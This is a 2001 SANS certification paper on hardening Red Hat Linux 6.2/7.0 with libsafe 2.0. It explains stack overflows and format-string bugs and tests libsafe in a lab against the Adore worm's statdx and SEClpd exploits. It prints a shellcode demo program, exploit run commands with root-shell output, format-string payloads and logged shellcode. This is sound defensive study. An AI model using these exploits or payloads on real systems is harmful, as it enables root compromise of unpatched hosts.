Global Information Assurance Certification Paper

Securing the Stack on Red Hat Linux 6.2 and 7.0 Systems with Libsafe 2.0

Clifford Yago, GCIA

SANS Aloha III Conference
GIAC Level Two, Securing Unix
GCUX Practical Assignment Version 1.6d
(modified assignment approved by Jennifer Kolde in a July 4, 2001 email)
August 13, 2001

Stack Exploits

Stack exploits are key tools for crackers. These individuals with malicious intent use such tools in their quest to infiltrate computer systems and gain unauthorized access. Stack exploits take advantage of buffer overflow and format string vulnerabilities in software. Development of stack exploit methods continues to increase as new weaknesses are discovered in computer programs. These exploits are either manually initiated by a cracker or part of an elaborate automated process as in the case of a worm that incorporates multiple stack exploits to propagate itself.

What is an information security administrator to do in the face of a seemingly unending flood of stack-related vulnerabilities? A major tenet of security against stack exploits is the timely application of software patches after the announcement of a vulnerability. The rapid rate of discovered vulnerabilities (announced publicly or kept secret in cracker circles) and release of corresponding exploits from the cracker community makes this a difficult job for the weary administrator. This results in a race condition between crackers and security administrators. Response time to plug security holes becomes vital. The security administrator may be further constrained when patching mission critical software. A patch to this type of software may need to be tested as part of a change management process. A delay in applying a software patch affords more opportunities for a cracker to carry out an attack. Furthermore, a patch is a specific solution that may apply only to a particular software module or subsystem. This does nothing to address yet undiscovered vulnerabilities.

Another tenet of stack exploit prevention is the auditing of source code for vulnerabilities such as a buffer lacking bounds checking. Open source software and its associated development process facilitate this task. Many programmer eyeballs increase the likelihood of discovering security bugs. The ubiquity of open source software allows testing of software packages in many different configurations and environments. This also improves the chances and speed of finding weaknesses in code. However, source code may not always be available due to licensing restrictions. A software license might dictate that only the binary executables of a software package be distributed. Community based code audits are not possible in this scenario. Performing code audits on closed source software may be limited to only a select group of developers within a software development organization.

These issues have led a team of researchers at Avaya Labs (http://www.avayalabs.com) to develop a solution called libsafe (http://www.avayalabs.com/project/libsafe/). Libsafe gets to the root of stack exploits. Stack-related vulnerabilities arise when certain standard C library functions are called without bounds checking on passed arguments. Libsafe addresses these issues by intercepting the vulnerable calls and substituting appropriate reimplemented functions. Libsafe's substitute functions enforce writing to memory locations within a "safe" address perimeter. When an attempt is made to write to memory outside of the proper address space, libsafe intervenes and terminates the offending process. Libsafe is a shared library that is dynamically loaded. Libsafe offers a "general" solution that can be implemented on a system-wide basis. No modifications to the

operating system or installed programs are required. Libsafe 2.0 source code is under the GNU Lesser General Public License.

The purpose of this document is to describe the following:

1. How libsafe protects a system from stack exploits.
2. A step by step guide to installing libsafe on Red Hat Linux 6.2 and 7.0 systems.
3. Testing the effectiveness of libsafe against real world exploits.

How does a Buffer Overflow Exploit Work?

To understand how libsafe 2.0 protects a system against stack exploits, an introduction to the inner workings of buffer overflow exploits is appropriate. The following buffer overflow example is installed as part of the libsafe 2.0 package and discussed in a paper by Baratloo, Singh, and Tsai, "Transparent Run-Time Defense Against Stack Smashing Attacks" available at http://www.avayalabs.com/project/libsafe/doc/usenix00/paper.html. The file for this exploit is /usr/share/doc/libsafe-2.0/exploits/t1.c.

```
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

int main(int ac, char *av[])
{
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;

    printf("This program tries to use strcpy() to overflow the
buffer.\n");
    printf("If you get a /bin/sh prompt, then the exploit has
worked.\n");
    printf("Press any key to continue...");
    getchar();

    for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;
    for (i = 0; i < (int) strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer, large_string);
    return 0;
}
```

The source file begins with inclusion of the standard input/output and string header files. The first variable declared is "shellcode" which is a character array. "Shellcode" contains the machine language instructions for the system call exec("/bin/sh"). This is also referred to as the attack code. We see the ultimate goal of this program is to spawn a

shell. How does this code get executed since it is only stored as data in this program? The following shows the steps in preparing the execution of this code.

A character array named "large_string" is next declared. This variable provides a 128 byte storage area for building the malicious string. The main() function is declared with two parameters, the argument count and pointer to the argument strings.

The 96 byte character array "buffer" is the target buffer that will be overflowed in the buffer overflow demonstration. Variable "i" will be used as a counter in the loops related to building the malicious string. The variable "long_ptr" is a pointer to "large_string".

Introductory messages stating the purpose of the program are printed. The getchar() function will pause execution until a keystroke is made. Now the real work starts.

```
for (i = 0; i < 32; i++)
    *(long_ptr + i) = (int) buffer;
```

The above for loop executes 32 times. Since a long int is 32 bits or 4 bytes, each iteration will write 4 bytes to "large_string" which is pointed to by "long_ptr". The 4 bytes make up the memory location of "buffer". "Large_string" is essentially a sequence of 32 instances of a pointer to the character array "buffer". The sequence fills all 128 bytes allocated.

```
for (i = 0; i < (int) strlen(shellcode); i++)
    large_string[i] = shellcode[i];
```

The next for loop copies the shellcode to the beginning of "large_string". "Large_string" now contains malicious shellcode and a series of pointers to the shellcode. This is a critical element of the buffer overflow exploit.

The next line of code is the heart of the buffer overflow exploit. The function strcpy() is a vulnerable function since it does not bounds check arguments it receives.

When the main() function is executed a 96 byte storage area is first allocated on the stack. Preceding this location is the previous frame pointer. The frame pointer is preceded by a memory location containing the return address to the calling function. Code in the main() function should not manipulate frame pointers or return address locations on the stack. What happens when a 128 byte buffer is copied into a 96 byte buffer?

When the strcpy() function is executed not only will the 96 bytes originally allocated to "buffer" be written, but also an additional 32 bytes. Where will the remaining 32 bytes of "large_string" be written? The frame pointer and return address locations. Since there is no bounds checking built into strcpy(), the function will happily write to higher memory locations (regardless of the allocated size of the destination buffer) until it has copied the entire source string argument passed to it. At this point the destination buffer is "overflowed" or "smashed".

When the return statement is executed the processor will pop the return address from the expected location on the stack. Execution will jump to the return address. However, the return address location has been overwritten by the strcpy() function. The program's flow of execution is directed to the location of "buffer". What is at the beginning of "buffer"? The shellcode that spawns a shell!

Below are commands to compile and execute the buffer overflow example on a Red Hat Linux 7.0 system. The exploit is successful in executing /bin/sh.

```
[cracker@attackhost70 cracker]$ cd /usr/share/doc/libsafe-2.0/exploits
[cracker@attackhost70 cracker]$ gcc t1.c -o t1
[cracker@attackhost70 cracker]$./t1

This program tries to use strcpy() to overflow the buffer
If you get a /bin/sh prompt, then the exploit has worked.
Press any key to continue...
sh-2.04$
```

In real world programs that contain buffer overflow vulnerabilities, malicious strings containing shellcode and return addresses to the shellcode are processed in vulnerable functions that accept user supplied data. Possible sources of user supplied data include environment variables and network connections.

How does Libsafe 2.0 Work Against Buffer Overflow Exploits?
The buffer overflow example worked because of the lack of bounds checking in strcpy() itself and the code that calls it in the t1 program. Note how the strcpy() function is implemented in the standard C library (from /usr/src/linux-2.2.16/lib/string.c, part of kernel-source-2.2.16-22.i386.rpm):

```
char * strcpy(char * dest,const char *src)
{
      char *tmp = dest;

      while ((*dest++ = *src++) != '\0')
            /* nothing */;
      return tmp;
}
```

Copying from source buffer to destination buffer in this way is inherently unsafe. The destination buffer's size limitation does not factor into deciding whether or not to execute the copying code in the while loop. Only until the null terminating character is copied does the while loop end.

Libsafe 2.0 works by being loaded prior to the standard C library. This is accomplished with the preload feature of dynamically loadable ELF libraries. When libsafe 2.0 is loaded prior to the standard C library, it can selectively override functions in the standard C library. Libsafe 2.0 intercepts calls to a defined set of vulnerable library functions and uses substitute functions that provide identical functionality. In addition the substitute functions perform bounds checking and detect bounds violations prior to corruption of

memory locations. Libsafe 2.0 can intervene and terminate a process that has caused a bounds violation. The following is an excerpt from the reimplemented strcpy() function in /libsafe-2.0/src/intercept.c:

```
char *strcpy(char *dest, const char *src)
{
. . .
    if ((len = strnlen(src, max_size)) == max_size)
        _libsafe_die("Overflow caused by strcpy()");
    real_memcpy(dest, src, len + 1);
    return dest;
}
```

The variable "max_size" is an unsigned integer assigned by the value returned from the _libsafe_stackVariableP() function. In this case it is supplied with one argument, a pointer to the destination buffer. When passed with a pointer argument _libsafe_stackVariableP() will return a zero value if the pointer does not reference a stack variable or the program was compiled without code to embed frame pointers on the stack. Libsafe 2.0 relies on embedded frame pointers in the stack to base its calculations for bounds checking. The gcc function __builtin_frame_address(0) is used by libsafe 2.0 to obtain frame pointers. Since return address locations are located next to frame pointers, a simple calculation yields the memory location containing the return address to the calling function.

A positive integer returned by the _libsafe_stackVariableP() function is the number of bytes from the destination variable's address location to the end of the stack frame that contains it. This positive number is the upper bounds or maximum number of bytes that can be safely written to the destination buffer without overwriting the previous frame pointer and return address location.

The strnlen() function will return the length of a string, but only until a maximum size. The first argument to strnlen() is a pointer to the source buffer. The second argument is the maximum size strnlen() will return. If strnlen() returns the value of "max_size", the source buffer size has exceeded the destination buffer size and the _libsafe_die() function is called. This function will log a violation entry into /var/log/secure. It will also terminate the process that attempted to overflow the destination buffer by sending it a SIGABRT signal. Below are messages produced by libsafe 2.0 when the t1 program causes a stack violation:

```
Detected an attempt to write across stack boundary.
Terminating /usr/share/doc/libsafe-2.0/exploits/t1.
     uid=500  euid=500  pid=2303
Call stack:
     0x4001c39a
     0x4001c4a3
     0x80485bc
     0x40047b60
Overflow caused by strcpy()
Sent email to root@attackhost70
```

The messages include information about the call stack, a list of return addresses associated with called functions in the t1 program. Libsafe 2.0 has successfully prevented the t1 program from corrupting frame pointer and return address locations. The t1 program is terminated before it can redirect program flow and cause a shell to be spawned.

In a case where the bounds check passes, the standard C library function memcpy() is called as a "safe" implementation of the string copying functionality. Contents of the source buffer are copied to the destination buffer, but the imposed limit is the calculated length of the source string. This length value passed the safety check earlier where it was evaluated as being less than the upper bounds value stored in the variable "max_size". Note the third argument to memcpy(), n + 1. This instructs memcpy() to copy the entire length of the string and the null terminating character. Implementing the behavior of the original strcpy() function, the libsafe 2.0 version of strcpy() returns a pointer to the destination buffer.

Through dynamic run time calculations libsafe 2.0 detects and prevents stack exploits. Libsafe 2.0 uses a similar strategy with other "unsafe" standard C library functions. The following is a list of the supported "unsafe" functions.

1. strcpy(char *dest, const char *src)
2. strcat(char *dest, const char *src)
3. getwd(char *buf)
4. gets(char *s)
5. realpath(char *path, char resolved_path[])

With version 2.0, libsafe prevents another class of stack exploits by securing against format string vulnerablities. Format string exploits attack weaknesses in the usage of the *printf() and *scanf() family of functions. With these exploits, a destination buffer is not overflowed. However, they accomplish the same objective as buffer overflow exploits in that they manipulate return address locations on the stack. This is accomplished through format specifiers. Format string exploits are discussed in detail later in this document under the section "Libsafe 2.0 vs. Adore Worm". Libsafe 2.0 extends its strategy of substituting "safe" reimplementations of vulnerable functions to the *printf and *scanf family of functions.

Installing Libsafe 2.0

Steps for building and installing libsafe 2.0 on Red Hat Linux 6.2 and 7.0 systems are identical. Red Hat Linux 7.0 requires an upgrade to gcc compiler version 2.96-85 in order to build the libsafe 2.0 package. See the section "Upgrading gcc on Red Hat Linux 7.0" for detailed steps to accomplish this. The following steps are performed as the root user.

Build Libsafe 2.0 Source and Binary rpms with Custom Security Options

1. ____ Download the libsafe 2.0 source rpm,
   http://www.avayalabs.com/project/libsafe/src/libsafe-2.0-1.src.rpm
   to a directory on the target system.

2. ____ **/bin/rpm –ivh libsafe-2.0-1.src.rpm**
   Install the source rpm.
3. ____ **/bin/tar –xzf /usr/src/redhat/SOURCES/libsafe-2.0.tgz –C /usr/src/redhat/SOURCES/**
4. ____ Edit the file /usr/src/redhat/SOURCES/libsafe-2.0/src/vfprintf.c:
   Change lines 2066 and 2102 from:
   ```
   _libsafe_warn("printf(\"%%n\") -- WARNING ONLY!!!")
   ```
   to:
   ```
   _libsafe_die("printf(\"%%n\") points to return address or frame pointer")
   ```
   The default action libsafe 2.0 will take when a "%n" format specifier safety check violation is found is to only generate a warning and not terminate the offending process. The code change above represents a more cautious approach. This option instructs libsafe 2.0 to terminate the offending process when a "%n" violation is detected. Setting this option is key to preventing the statdx format string exploit discussed later in this document.
5. ____ Edit the file /usr/src/redhat/SOURCES/libsafe-2.0/src/Makefile:
   Change line 62 from:
   ```
   CCFLAGS      = -02 -Wall -DNDEBUG -fpic
   ```
   to:
   ```
   CCFLAGS      = -02 -Wall -DNDEBUG -fpic -DNOTIFY_WITH_EMAIL
   ```
   This enables the email facility in libsafe 2.0 to send email when it detects a stack violation.
6. ____ **cd /usr/src/redhat/SOURCES/**
7. ____ **/bin/tar -cvzf libsafe-2.0.tgz libsafe-2.0/**
8. ____ **/bin/rm –rf libsafe-2.0**
9. ____ **/bin/rpm –ba /usr/src/redhat/SPECS/libsafe-2.0.spec**
   This command will build libsafe 2.0 through all phases of the rpm build process. The source rpm, libsafe-2.0-1.src.rpm, will be written to /usr/src/redhat/SRPMS/. The binary rpm, libsafe-2.0-1.i386.rpm, will be written to /usr/src/redhat/RPMS/i386/. The binary rpm can be copied to other systems where libsafe 2.0 will be installed.

Libsafe 2.0 Installation from Binary rpm

10. ____ **/bin/rpm –ivh /usr/src/redhat/RPMS/i386/libsafe-2.0-1.i386.rpm**
    Install the libsafe 2.0 package.
11. ____ **/bin/echo /lib/libsafe.so.2 >> /etc/ld.so.preload**
    This configuration file will cause the libsafe 2.0 library to be loaded prior to the standard C library on a system-wide basis. This enables libsafe 2.0 to protect processes that utilize unsafe functions in the shared standard C library.
12. ____ Create a file /etc/libsafe.notify:
    List the email addresses (one email address per line) of systems administrators that need to be notified when libsafe 2.0 detects a stack violation.
13. ____ **/sbin/shutdown –r now**

The installation is now complete and the target system is protected with libsafe 2.0. The custom options include termination of processes violating a "%n" safety check and email notification of stack violations.

Upgrading gcc on Red Hat Linux 7.0

The following steps describe the upgrade process for the gcc compiler from version 2.96-54 to 2.96-85.

1. ____ Download the following file to a directory on the target system: ftp://updates.redhat.com/7.0/en/os/i386/cpp-2.96-85.i386.rpm
2. ____ Download the following file to a directory on the target system: ftp://updates.redhat.com/7.0/en/os/i386/gcc-2.96-85.i386.rpm
3. ____ **/bin/rpm –U cpp-2.96-85.i386.rpm**
4. ____ **/bin/rpm –U gcc-2.96-85.i386.rpm**

Libsafe 2.0 vs. Adore Worm

Systems administrators will want to test the viability of the preventative measures offered by libsafe 2.0. An effort was made to test Red Hat Linux systems protected with libsafe 2.0 against real world, well-known attacks. Default server class installations of Red Hat Linux were used in order to achieve test results that can easily be reproduced.

The Adore worm, released around April 1, 2001 propagated to a large number of Linux systems on the public Internet. We will focus on two stack exploits that are part of the Adore package: statdx and SEClpd. They are capable of gaining root shell access on vulnerable systems. Running these exploits against a libsafe 2.0 protected system simulates an actual threat and an assessment can be made as to the effectiveness of libsafe 2.0.

Two target systems were built. Red Hat Linux version 6.2 was installed on one machine and Red Hat Linux version 7.0 was installed on a second machine. Both systems were built with default settings for a server class installation and then set up on a test network. Version 6.2 contains the rpc.statd vulnerability and version 7.0 has the LPRng vulnerability. Exploits were run from a third Red Hat Linux 7.0 server class machine on the test network.

Statdx Exploit

The statdx exploit takes advantage of a vulnerability in the rpc.statd program. It is a part of the nfs-utils package. Red Hat Linux 6.2 comes with the vulnerable nfs-utils version 0.1.6. There is a format string vulnerability in a call to the syslog() function (CVE-2000-0666, http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0666, bugtraq ID 1480, http://www.securityfocus.com/vdb/bottom.html?vid=1480). It is shown in the code excerpt below from /nfs-utils-0.1.6/utils/statd/log.c in nfs-utils-0.1.6-2.src.rpm:

```
void
log(int level, char *fmt, ...)
...
    if (level < L_DEBUG) {
```

```
        syslog(level, buffer);
...
```

Because of this "unsafe" processing of user supplied data stored in the character array "buffer" an attacker can construct a malicious string and take advantage of the logging mechanism to inject executable code. The call to the syslog() function lacks a "%s" format specifier argument needed to safely process the user supplied data.

Due to this bug the attacker can insert arbitrary specifiers and arguments in a malicious string. This is where the "%n" specifier comes in. When processed a "%n" format specifier will write to a memory location the number of characters written up to the occurrence of "%n" in the call to a *printf() function. The memory location is obtained through a pointer argument supplied to a *printf() function. With some work, the "%n" specifier can be exploited to cause arbitrary values to be written to arbitrary locations in memory.

Syslog() utilizes the vsprintf() function to build the message string that will be logged (implemented in /sysklogd-1.3.31-16/syslog.c, a source code file from sysklogd-1.3.31-16.src.rpm). When vsprintf() is called, a message string is passed to it as an argument. When vsprintf() encounters a "%n" format specifier it will look for a corresponding argument, a memory location to write. But only a single argument has been supplied to syslog(), the message string. Consequently, vsprintf() receives just one argument. Where is the expected location of the argument that "%n" needs? It immediately precedes the message string argument location in higher memory on the stack. Since no additional arguments have been supplied, the very next item on the stack is a buffer that vsprintf() will emit processed characters into. By crafting a memory address location to be emitted into this buffer, an attacker can control the pointer argument that "%n" needs. The attacker will simply construct a malicious string to begin with a memory address location. The malicious string is sent to the rpc.statd program where it will eventually be processed by the syslog() function. Crafting a return address location as an argument for "%n" results in a key ingredient of a stack exploit!

How does the attacker control the value written to the return address location? The number of characters written can be manipulated through padding or field width specification in the malicious string. By constructing this value as a pointer to shellcode, the attacker can cause arbitrary code to be executed! Shellcode for statdx will be executed with root privileges since the rpc.statd program is run with such privileges.

Statdx can be downloaded at
http://www.securityfocus.com/data/vulnerabilities/exploits/statdx.c.

Statdx behaves similarly to other exploits that take advantage of unsafe calls to the syslog() function. Its first act is to establish a TCP connection with the service that contains the vulnerability. In this case, the rpc.statd program is the target service. It listens on TCP port 111. Once a TCP connection is established, the malicious string is sent over the connection. The rpc.statd program will process the malicious string as input and then trigger an error condition because the malicious string is unrecognizable by the

program. The rpc.statd program will faithfully log this error, as it should with any other erroneous input that doesn't meet its input specifications. However, this is done through the unsafe call to syslog(). The malicious format specifiers are then processed. This unfortunate series of events leads to dire results for the target machine.

On the Red Hat Linux 7.0 attack host the following was performed to compile and run the exploit against the Red Hat Linux 6.2 machine (IP address 172.16.31.20):

```
[cracker@attackhost70 cracker]$ gcc statdx.c –o statdx
[cracker@attackhost70 cracker]$ statdx –d 0 172.16.31.20
```

The first command compiles statdx. The second command executes statdx with two arguments. The –d 0 argument specifies the target type, 0 being a Red Hat Linux 6.2 with nfs-utils 0.1.6. The second argument is the IP address of the target host. The following is output from the exploit. Note the directory listing from the target host and the privilege level gained. At this point the attacker has a root shell prompt and "owns the box."

```
buffer: 0xbffff314 length: 999(+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
clnt_call(): RPC: Timed out
a timeout was expected. Attempting connection to shell..
OMG! You now have rpc.statd technique!@#$!
total 68
drwxr-xr-x   17 root     root         1024 Jul 18 06:37 ./
drwxr-xr-x   17 root     root         1024 Jul 18 06:37 ../
drwxr-xr-x    2 root     root         2048 Jul 18 07:16 bin/
drwxr-xr-x    2 root     root         1024 Jul 24 18:01 boot/
drwxr-xr-x    6 root     root        34816 Jul 24 18:01 dev/
drwxr-xr-x   29 root     root         3072 Jul 24 18:01 etc/
drwxr-xr-x    5 root     root         1024 Jul 20 16:18 home/
drwxr-xr-x    4 root     root         3072 Jul 23 01:31 lib/
drwxr-xr-x    2 root     root        12288 Jul 18 06:37 lost+found/
drwxr-xr-x    4 root     root         1024 Jul 18 06:37 mnt/
drwxr-xr-x    2 root     root         1024 Aug 23  1999 opt/
dr-xr-xr-x   40 root     root            0 Jul 24 08:00 proc/
drwxr-x---    5 root     root         1024 Jul 23 03:23 root/
drwxr-xr-x    3 root     root         3072 Jul 18 07:17 sbin/
drwxrwxrwt    3 root     root         1024 Jul 24 18:01 tmp/
drwxr-xr-x   20 root     root         1024 Jul 18 07:00 usr/
drwxr-xr-x   19 root     root         1024 Jul 18 07:17 var/
uid=0(root) gid=0(root)
```

The following entry was logged in /var/log/messages on the target Red Hat 6.2 machine. It contains output emitted by the malicious string from statdx. Note the Intel 0x90 NOP (null operation) codes that are used to pre-pad the shellcode (the shellcode has been truncated from the syslog entry). These are printed as "<90>". When the processor encounters a null operation instruction, nothing happens and execution proceeds to the next machine instruction in memory. NOP instructions are generally used to create timing delays. In stack exploits, NOP instructions are used to overcome a problem associated with changing a program's flow of execution. Due to the dynamic nature of the stack

address space, it is difficult to guess the starting address location of the shellcode. A large sequence of NOP instructions pre-padded to the shellcode provides a solution to this problem. It increases the chances of executing the shellcode. This is because the value written to the return address location does not need to contain a precise starting address. The value written to the return address location needs to only fall within a range of memory address locations that begins with the first of a series of NOP codes and ends with the first instruction of machine code that calls exec("/bin/sh"). An exploit that succeeds in accomplishing this will cause the program's flow of execution to jump somewhere in the sequence of NOP codes or if it is fortunate, the start of the shellcode. If necessary, the remaining NOP instructions up to the shellcode are executed. Finally, the shellcode is run.

```
Jul 24 23:40:40 targethost62 rpc.statd[346]: gethostbyname error for
^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿bffff750 8049710
8052c18687465676274736f6d616e797265206520726f7220726f66
bffff718
bffff718  bffff719
bffff71a<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><
90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><
90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><
90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90
><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><9
0><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><
90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
```

Statdx was then executed against the Red Hat Linux 6.2 host with libsafe 2.0 installed. Installation was based on the Libsafe 2.0 installation instructions in this document. The attack host failed to gain root shell access as indicated below.

```
buffer: 0xbffff314 length: 999(+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
clnt_call(): RPC: Unable to receive; errno = Connection refused
Failed
```

Libsafe 2.0 successfully stopped this attack by detecting the attempt to overwrite the return address area on the stack and terminating the offending process. The following is an excerpt from /var/log/secure after the exploit attempt:

```
Jul 26 13:21:26 targethost62 libsafe.so[346]: version 2.0
Jul 26 13:21:26 targethost62 libsafe.so[346]: Detected an attempt to
write across stack boundary.
```

```
Jul 26 13:21:26 targethost62 libsafe.so[346]: Terminating
/sbin/rpc.statd.
Jul 26 13:21:26 targethost62 libsafe.so[346]:     uid=0  euid=0
pid=346
Jul 26 13:21:26 targethost62 libsafe.so[346]: Call stack:
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x40018991
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x4001e747
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x400218d9
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x400d848a
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x400d82ea
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x8049d25
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x804a4c0
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x8049695
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x400fb088
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x804acb5
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x804a621
Jul 26 13:21:26 targethost62 libsafe.so[346]:     0x400419c6
Jul 26 13:21:26 targethost62 libsafe.so[346]: printf("%n") points to
return address or frame pointer
```

The emitted malicious string is still logged to /var/log/messages in the second statdx attempt. However, with libsafe 2.0 activated the "effects" of the malicious string are never felt by the target system.

A default installation of libsafe 2.0 will not prevent the statdx exploit. There is a default option that allows a process that violates a "%n" safety check to continue execution. With the default libsafe 2.0 configuration activated on a Red Hat Linux 6.2 system, statdx will successfully gain root shell access. Libsafe 2.0 in this situation will only log a violation and not terminate the offending process. Setting the option to terminate a process that violates a "%n" safety check is described earlier in this document in the "Installing Libsafe 2.0" section. The author has contacted the developers at Avaya Labs regarding this issue.

SEClpd Exploit

SEClpd works similarly to statdx in that it exploits a format string vulnerability in a syslog() function call to gain root shell access. It uses the same steps of building a malicious string, establishing a TCP connection with the target service, sending the malicious string as garbage input, forcing an error condition that is logged using syslog(), and finally causing a return address location to be overwritten through format specifiers. LPRng version 3.6.22, part of the Red Hat Linux 7.0 distribution, contains this weakness (CVE-2000-0917 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0917, bugtraq ID 1712 http://www.securityfocus.com/vdb/bottom.html?vid=1712). A syslog() "wrapper" use_syslog() contains the unsafe call to the syslog() function. Note the excerpt from /LPRng-3.6.22/src/common/errormsgs.c (from LPRng-3.6.22-5.src.rpm):

```
static void use_syslog(int kind, char *msg)
...
# ifdef HAVE_OPENLOG
        /* use the openlog facility */
        openlog(Name, LOG_PID | LOG_NOWAIT, SYSLOG_FACILITY );
        syslog(kind, msg);
```

```
        closelog();

# else
    (void) syslog(SYSLOG_FACILITY | kind, msg);
# endif                                                    /* HAVE_OPENLOG
*/
#endif                          /* HAVE_SYSLOG_H */
...
```

An attacker can exploit the use_syslog() function by constructing malicious specifiers that will be stored in the "msg" character array and passed to syslog() sans a "%s" format specifier argument. LPRng runs with root privileges and thus will execute malicious injected code with the same privileges.

Source for SEClpd can be downloaded from http://www.securityfocus.com/data/vulnerabilities/exploits/SEClpd.c.

SEClpd is compiled and run from the attack host with the commands below.

```
[cracker@attackhost70 cracker]$ gcc seclpd.c -o seclpd
[cracker@attackhost70 cracker]$ seclpd 172.16.31.16 brute -t 0
```

The target IP address argument is followed by two interesting arguments. The second argument -t 0 specifies the type of system that will be attacked. A Red Hat Linux 7.0 – Guiness system is specified here. Predetermined return address locations for various Red Hat Linux 7.0 releases are coded into SEClpd and appropriately used when a system type is specified. When a predetermined return address location fails to carry out the exploit, the exploit can be run in "brute" force mode by supplying the brute argument to SEClpd. SEClpd will incrementally guess the return address location in brute force fashion. Note below the return address locations that are generated by SEClpd through each iteration of the brute force loop. The characters following "Append:" contain the malicious format specifiers that attempt to write the return address location with the memory address location of the shellcode. The shellcode contains functionality to call the execution of /bin/sh.

```
+++ Security.is remote exploit for LPRng/lpd by DiGiT

+++ Exploit information
+++ Victim: 172.16.31.16
+++ Type: 0 - RedHat 7.0 - Guinesss
+++ Eip address: 0xbffff3ec
+++ Shellcode address: 0xbffff7f2
+++ Position: 300
+++ Alignment: 2
+++ Offset 0

+++ Attacking 172.16.31.16 with our format string
+++ Brute force man, relax and enjoy the ride ;>

Generation complete:
Address:
f0ffffbf.f1ffffbf.f2ffffbf.f3ffffbf.58585858.58585858.58585858.58585858
```

```
.58585858
Append: %.176u%300$n%.13u%301$n%.253u%302$n%.192u%303$n

Generation complete:
Address:
f0ffffbf.f1ffffbf.f2ffffbf.f3ffffbf.58585858.58585858.58585858.58585858
.58585858
Append: %.176u%300$n%.13u%301$n%.253u%302$n%.192u%303$n

. . .

Generation complete:
Address:
d8f3ffbf.d9fdffbf.daf3ffbf.dbf3ffbf.58585858.58585858.58585858.58585858
Append: %.152u%300$n%.25u$301$nsecurity%302$n%.192u%303$n
+++ The eip_address is 0xbfff3d8

-   [+] shell located on 172.16.31.16
-   [+] Enter Commands at Will


Linux targethost62.localdomain 2.2.16-22 #1 Tue Aug 22 16:49:06 EDT
2000 i686 unknown
uid=0(root) gid=7(lp)
```

SEClpd has identified the return address location, run the shellcode and given the attacker a root shell.

Below is an entry in /var/log/messages that contains the LPRng error condition and the malicious string. Like the malicious string from statdx, SEClpd's malicious string contains numerous Intel 0x90 NOP codes to increase the probability of executing the shellcode.

```
Jul 25 02:30:36 localhost SERVER[1618]: Dispatch_input: bad request line 'BBØóÿ¿
Ùóÿ¿Úóÿ¿Ûóÿ¿XXXXXXXXXXXXXXXXXX00000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000048000000000000000001073835088security000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000006<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90><90>
<90><90>1Û1É1À°FÍ<80><89>å1Ò²f<89>Đ1É<89>ËC<89>]øC<89>]ôK<89>Mü<8D>MôÍ<80>1É<89>
EôCf<89>]ìfÇEî^O'<89>Mð<8D>Eì<89>EøÆEü^P<89>Đ<8D>MôÍ<80><89>ĐCCÍ<80><89>ĐCÍ<80>
<89>Ã1É²?<89>ĐÍ<80><89>ĐAÍ<80>ë^X^<89>u^H1À<88>F^G<89>E^L°^K<89>ó<8D>M^H<8D>U^LÍ
<80>èãÿÿÿ/bin/sh'
```

